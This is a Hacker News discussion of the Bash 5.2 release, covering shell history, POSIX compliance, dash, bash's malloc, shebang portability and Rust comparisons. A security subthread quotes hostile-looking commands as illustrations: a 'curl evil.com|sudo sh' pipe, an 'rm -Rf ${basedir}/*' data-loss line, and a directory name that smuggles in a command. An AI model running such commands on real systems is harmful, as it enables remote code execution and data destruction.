Bash 5.2
tiswww.case.edu
tiswww.case.edu
ksh88 worked very hard to compile its data segment in under 64k so it would work on Xenix running on a 286 and similarly constrained systems. The code was sphagetti gymnastics in achieving this.
The POSIX shell standard removed many features of the ksh88 language. It appears that this was done in an attempt to maintain a small footprint, but clarify the code.
This is good for embedded systems, but bad if you need arrays.
I hope that hits the notes you were listenin for.
[0] When I say 'modern' I'm not referring to the Ubuntus and GUI-first distros that we know today.
I use Zsh most of the time, but the OG's of *NIX and POSIX/C bring back the mindset of portability and simplicity. If we only could've leapt from FORTRAN to Rust and skipped C and C++. ;)
https://git.savannah.gnu.org/cgit/bash.git/commit/?id=74091d...
https://git.savannah.gnu.org/cgit/bash.git/commit/?id=8868ed...
https://git.savannah.gnu.org/cgit/bash.git/commit/?id=d233b4...
(to be fair there are a few smaller patchsets beside these huge dumps; and it does have a good documentation and changelog file). This alone was enough to push me towards fish for my interactive shell needs.
It looks like Ramey is doing rebasing merges with squashing to get changes into the trunk.
Moreover, there is an intermediate 5.2-test branch which doesn't have the details commits, but is less squashed; it has the 5.2 intermediate pre-releases that were put out for testing.
So there is a method to the madness, though I can't personally agree with anything except all changes on one straight line that you can git bisect with your eyes closed. All those items like 5.2 prerelease 3 can just be tags on one trunk.
Here is a problem: the devel branch has no tags indicating where the various intermediate releases were cut. Likewise, the squash merge commits do not list, in the commit message, the range of commits that were included.
Cool comment
bash: https://lists.gnu.org/archive/html/info-gnu/2022-09/msg00012...
readline: https://lists.gnu.org/archive/html/info-gnu/2022-09/msg00013...
The only other dependency is fzy for fuzzy matching.
If you want to check it out: https://github.com/akinomyoga/ble.sh
(Still, I personally believe these features are overrated and don't actually bring in more usability or comfort to the command line experience. For instance, ctrl+r kills the need for suggestions and instead of selecting files scrolling through them with your fingers, you can select them using your eyes?)
I tried. It was a source of inspiration for the looks, because it looks really nice!
However, due to some design decisions ble.sh is slow to the point of being unusable on some hardware I use, including a modern laptop running msys2 instead of WSL2
> For instance, ctrl+r kills the need for suggestions
Use both: seed your history search with the path and a few keywords, then sort by frequency of how often it was the correct or successful complete in the past (meaning it gave you a non error return code)
ble.sh has a vast array of configuration options. By disabling features I didn't like or need I was able to make it run pretty fast and responsive.
In the end, doing a rewrite of the core features allowed me to fine tune the technical choices to work extremely well on Windows (where fork is slow) while adding SQL for both the command history and query format, so hopefully I didn't just reinvent the wheel :)
To be clear, I think this was in reference to shell shock and not a generic statement. Bash has its place, I think everyone agrees that place isn’t cgi scripts though.
I do not expect a shell to be secure. In my opinion that is the job of mandatory access controls, sandboxes, chroot jails, setcap, posix permissions, etc... and of course the job of the script author.
I do however try to keep shell scripting done with some best practices to minimize mistakes and mistakenly executing the wrong resources. A good start is to use ShellCheck [1] available and a command line tool in most distro repositories. ShellCheck has corrected some of my old bad habits. In the cases where I disagree with ShellCheck findings, there are options that can be added as comments to scripts that will ignore specific checks.
Speaking of security and mistakes, one common mistake I see in scripts is to leave out "set -u" in bash scripts. I actually wish that were default and that one had to disable it when required and it is sometimes required. This would prevent many accidental incidents of data loss. e.g.
rm -Rf ${basedir}/* # yeah nobody should do this but it happens, sometimes with sudo.
You should. The example with "rm -Rf" is a problem with ergonomics/usability; what definitely would be way more scary is e.g. if the shell had an arbitrary code execution vulnerability in its path processing code.
$ /bin/sh
$ cd /some/path+evilmagic+'echo pwned!' # that's just a normal directory name, allowed by POSIX
$ /bin/vulnsh # prints "pwned!"If my job was to mitigate theoretical attacks then I would require everyone to run scripts in highly restricted sandboxes that log the obfuscated behavior. This is probably something that build automation systems should be doing regardless for all scripts and compiled code to detect things like backdoored NPM packages which is all the rage these days. I would also like to see multipurpose repository systems like Github and Gitlab perform these sandboxed tests, rating scripts and compiled code with behavioral risk scores.
I am mostly content with the current status of Bash security and the toggles it gives me to control behavior. There are some things I would prefer defaulted on but I understand why they do not.
While my path processing scenario is hypothetical, you shouldn't need additional sandboxing to merely browse the local filesystem. You should trust tar not to overwrite files outside cwd. You should trust ls not to execute arbitrary code when listing a directory. You should trust the TCP/IP stack not to cause a kernel panic when a malformed ping shows up at your NIC. There's a huuuge difference between that and "curl evil.com|sudo sh".
It requires an advanced parser.
There is an effort with OCaml (and another with ADA) to create a formal and secure parser. They remark that dash is a handcrafted parser in C that cannot be formally assured.
https://archive.fosdem.org/2018/schedule/event/code_parsing_...
I think arguing that you’ll have a hard time arguing that weakly typed, structureless, idiosyncratic language is secure.
(sorry, I had to)
Rust is getting better, but they're not quite there yet.
> C2Rust helps you migrate C99-compliant code to Rust. The translator (or transpiler), c2rust transpile, produces unsafe Rust code that closely mirrors the input C code. The primary goal of the translator is to preserve functionality; test suites should continue to pass after translation.
crust https://github.com/NishanthSpShetty/crust :
> C/C++ to Rust transpiler
"CRustS: A Transpiler from Unsafe C to Safer Rust" (2022) https://scholar.google.com/scholar?q=related:WIDYx_PvgNoJ:sc...
rust-bindgen https://github.com/rust-lang/rust-bindgen/ :
Automatically generates Rust FFI bindings to C (and some C++) libraries
nushell/nushell looks like it has cool features and is written in rust.
awesome-rust > Applications > System Tools https://github.com/rust-unofficial/awesome-rust#system-tools
awesome-rust > Libraries > Command-line https://github.com/rust-unofficial/awesome-rust#command-line
rust-shell-script/rust_cmd_lib https://github.com/rust-shell-script/rust_cmd_lib :
> Common rust command-line macros and utilities, to write shell-script like tasks in a clean, natural and rusty way
Seems like an unnecessary callout.
As HackerNews is a discussion site, not your personal blog, some further elaboration on why you consider the guy's posts "strange" (and why you even consider "strange" being a bad thing in itself) would be in order.
Why the heck does bash need malloc?
I assumed the latter, and couldn't figure out why I would need to manually allocate memory in a shell script.
The idea is that you don’t need C libraries to run/compile bash.
It was a good idea 30+ years ago, maybe. It's really old and crufty code; last time I checked it's all in pre-ANSI C and with workarounds for platforms like 1980s Xenix.
https://www.gnu.org/software/bash/manual/html_node/Optional-...
> --with-bash-malloc
> Use the Bash version of malloc in the directory lib/malloc. This is not the same malloc that appears in GNU libc, but an older version originally derived from the 4.2 BSD malloc. This malloc is very fast, but wastes some space on each allocation. This option is enabled by default. The NOTES file contains a list of systems for which this should be turned off, and configure disables this option automatically for a number of systems.
> --with-gnu-malloc
> A synonym for --with-bash-malloc.
http://git.savannah.gnu.org/cgit/bash.git/tree/NOTES?h=devel
> Platform-Specific Configuration and Operation Notes [very dated]
> 1. configure --without-gnu-malloc on:
> alpha running OSF/1, Linux, or NetBSD (malloc needs 8-byte alignment;
> bash malloc has 8-byte alignment now, but I have no alphas to test on)
> next running NeXT/OS; machines running Openstep
> all machines running SunOS YP code: SunOS4, SunOS5, HP/UX, if you have problems with username completion or tilde expansion for usernames found via YP/NIS
> linux (optional, but don't do it if you're using Doug Lea's malloc)
> QNX 4.2
> other OSF/1 machines (KSR/1, HP, IBM AIX/ESA)
> AIX
> sparc SVR4, SVR4.2 (ICL reference port)
> DG/UX
> Cray
> Haiku OS
> NetBSD/sparc (malloc needs 8-byte alignment; bash malloc has 8-byte alignment now, but I have no NetBSD machines to test on)
> BSD/OS 2.1, 3.x if you want to use loadable builtins
> Motorola m68k machines running System V.3. There is a file descriptor leak caused by using the bash malloc because closedir(3) needs to read freed memory to find the file descriptor to close
Then there's the part where building anything of any significant complexity is not probably a good idea in a shell script.
Debian brought the Almquist shell in as /bin/sh, and is maintaining it with strict compliance to POSIX. This displaces bash as the system shell, but bash is still assigned as the interactive shell.
http://gondor.apana.org.au/~herbert/dash/
This is an older standard for the behavior of the POSIX shell. There are many common shell features that are not here (arrays, networking, coprocesses, fancy substitution, and much more). Doing without them increases portability.
https://pubs.opengroup.org/onlinepubs/9699919799/utilities/V...
If your shebang is `/bin/sh`, then it's nice to have a strictly POSIX-compliant shell.
Arrays are still available in POSIX mode, even though they do not comply.
The Unix world is better off if there is the option of using another shell that isn’t bug for bug compatible with bash.
This behavior is what leads to systems that have to emulate ancient bloated interfaces because they need to support applications that use apis that are defined as ‘how that program does it’. That’s bad. We should avoid it. Avoiding it is a benefit.
The dash shell has been reported to be four times faster than bash.
That definitely impacts boot time. POSIX compliance is not the only benefit.
Busybox actually takes dash, and then sprinkles a few bash/korn features back onto it (notibly, not arrays).
If you want a lot of people to use your scripts, getting them working in dash can help a great deal.
The POSIX mode in bash exists because bash itself predates POSIX by nearly a decade.
It's like saying you'll never use any Linux feature except those strictly defined by POSIX.1. Why would you do that?
The fundamental reality is that GPL does not run on iOS or Android (in userland). If you want to run scripts on those platforms (and they are ENORMOUS), then you cannot use bashisms.
Full stop.
AFAIU correct POSIX scripts will behave correctly with Bash POSIX mode. Incorrect POSIX scripts will not behave incorrectly with Bash POSIX mode as one might expect with a more faithful shell implementation.
IMO Bash POSIX mode is not a problem for running scripts, although you should test your scripts using a strictly shell implementation if you will then distribute those scripts to other users/platforms.
Why not make all your shell scripts #!/bin/bash and anything where that doesn't work is trying to be a second class citizen[1] in unix and so maybe let them? Or tell users to install Bash - which they can probably do if they're using shell scripts..?
[1] Or maybe deliberately trying to break portability by market power abuse.
I know I don't need tell anybody here that Apple is not their friend, merely a supplier who will maximize their revenue at your expense when it suits them.
It depends on your target audience, of course, but Darwin is one of the major current OSs and wanting to support it is reasonable.
> Why not make all your shell scripts #!/bin/bash and anything where that doesn't work is trying to be a second class citizen[1] in unix and so maybe let them? Or tell users to install Bash - which they can probably do if they're using shell scripts..?
Well, for starters AFAIK /bin/bash on Darwin will give you bash 3.2, which is a bit old and feature-poor. Of course you can (and perhaps even should) simply install a new version but then it won't be at /bin/bash, it'll be under /usr/local or /opt or whatever. And BASH isn't POSIX so I'd personally argue that trying to force it makes your stuff the "second class citizen in unix".
Honestly I'm not sure what position you're trying to argue. "Ignore the second biggest desktop OS because they don't ship the latest version of the non-standard scripting language I like"?
There's nothing wrong with that position. Bash is not a "non-standard scripting language people like", it is the de-facto standard on Linux (heck, it was the first program Torvalds ever run on Linux) and the most widespread implementation of POSIX shell in the world. If Apple chosed tivoization[1] over freedom, so I can choose the #!/bin/bash shebang.
That sounds like the definition of not being standardized. BASH is the most common shell implementation on GNU systems (no, not Linux; Alpine is a Linux, and so is Android), but that doesn't make it a standard, only common. It's like claiming that nobody should care about anything but Chrome because it's "the de-facto standard".
> and the most widespread implementation of POSIX shell in the world.
BASH can run POSIX sh scripts, but POSIX sh can't run BASH scripts. If you're only using POSIX features, then it's not a problem, but if you're only using POSIX features we wouldn't be having this argument.
> If Apple chosed tivoization[1] over freedom, so I can choose the #!/bin/bash shebang.
Could I at least talk you into using `#!/usr/bin/env bash` so your scripts will work on a wider slice of the Linux universe? Even on Linux distros that exact path isn't a given (guix and nix send their regards), and you're completely breaking compatibility with the BSDs and illumos distros.
You're also breaking compatibility with newer versions of bash on macOS that almost definitely wouldn't be installed at /bin/bash. I use 5.2 from brew.
if bash isnt posix then wth is? if you told me "British English isnt actually English" I'd be less surprised than bash and posix.
No
> if bash isnt posix then wth is?
POSIX sh (https://pubs.opengroup.org/onlinepubs/9699919799/utilities/V...).
Because it's not always installed there. See, for example, FreeBSD where bash typically lives in /usr/local/bin/bash. Or in the Linux world, Nix and Guix.
Use "#!/usr/bin/env bash" to account for all these possibilities.
Dunno if anyone here with a better memory remembers the article to link here ...
If you haven't run into this, you just haven't written enough for the shell yet.
Once you run into it, you'll not want to write anything specifically for Bash or Zsh anymore unless you know beyond a shadow of a doubt that it will never be run in any other shell.
If you are writing a shell script with the intention of running in many places, fine.
But if you do that, the POSIX compatibility will be the least of your worries.
I will commonly "alias p=printf" in my shell scripts. This is fine in Almquist and bash when called as /bin/sh, but if called as /bin/bash it fails, because bash only honors aliases in POSIX mode.
In bash, reading with a prompt can be done with "read -p prompt var" but this fails in Korn because it's used for coprocesses. This means that your shell script will not run on Android, because mksh is the system shell.
I could probably think of a few more with some effort, and especially a check of the man pages.
p.s. I didn't downvote you.
Aliases certainly _work_ in bash (even when not in POSIX mode. What do you mean by "honors"?
When not in POSIX mode, aliases are only expanded for interactive use.
$ echo '#!/bin/sh \n alias p=printf \n p %s\\\\n "hello world!"' > ok.sh
$ chmod 755 ok.sh
$ ./ok.sh
hello world!
$ echo '#!/bin/bash \n alias p=printf \n p %s\\\\n "hello world!"' > nope.sh
$ chmod 755 nope.sh
$ ./nope.sh
./nope.sh: line 3: p: command not foundThat's why bash scripts can be interpreted on any OS from 1995 to now and Rust can only be compiled on an OS which has updated it's rustc in the last 3 months.
Gotta hand it to Bash devs. They do a good job.
You can get the same effect by trying to run scripts with bash 5.x features on a version of bash from 1995.
Rust code since 1.0 has the same level of backwards compatibility that bash does.
That's true and exactly what I said. It's the rust developer demographic that lacks the consideration to write backwards compatible code.
Backwards compatibility isn't really about whether you can run code on _old versions_, but if you can run _old code_ on new versions. Scripts that were written with Bash 1.14 should work today (barring all the other external dependencies they may have...), but scripts that are written today won't necessarily work on 1.14.
That's the same as the Rust analogy: code written with Rust 1.0 should compile and run today, but code written today won't necessarily work on Rust 1.0 (albeit, there must be a subset of new code that would happen to work).
Ah, sorry, I guess I mean forwards compabitibility then. The ability to interpret/compile code written by devs today on machines with software from years ago (or months ago in rust's case).
If your shell scripts are small, it's easy to write several versions of them.
It they are long, you should use something else than shell scripts for your program, like python.
Worse case scenario, provision the same interpretter everywhere, vendor it, or use a compiled language.
There are some edge cases where portability makes sense (e.g: you are scripting for an heterogeneous parc of routers), but they are niche usages most companies don't care about.
Still, the vast majority of IT projects do not fall in that category.
It exists, but it's a very, very small % of why you need a bash script. And in fact, even those advocating for bash portability almost never fall into the category of people that have to do it in their daily job.
I'll go even further and even state that a lot of embedded system don't even have bash scripting capabilities in the first place.
Busybox bundles the Almquist shell, and there is a Windows port available. This is the easiest and least intrusive way to run shell scripts on Windows.
Busybox advertises that it bundles bash, but this is not true - it's Almquist with some added bashisms.
It also bundles their own awk implementation, but not Tcl/lua/lisp/scheme.
ShellCheck is a great tool, yes, and can be run natively inside your IDE. Just like any language, you need to learn the language and learn it's tools.
Blanket statements like "write all your scripts in python because there's less bugs" really just means the commenter is more familiar with python. Do enough script writing and you'll realize how absurd that statement is.
It's a lot like the folks that scream nobody should ever write a single line of C or C++ because it's "dangerous" - yet untold number of lines of C/C++ are written every day. A pencil can be dangerous in the wrong hands...
BTW both shellcheck and mypy are equally optional, so I'm not sure what your high horse is about.
In fact, as soon as you need to use arrays, it's game over.
>In fact, as soon as you need to use arrays, it's game over.
Why?
PS. comfortable with both. I don't draw lines based on LOC or arrays.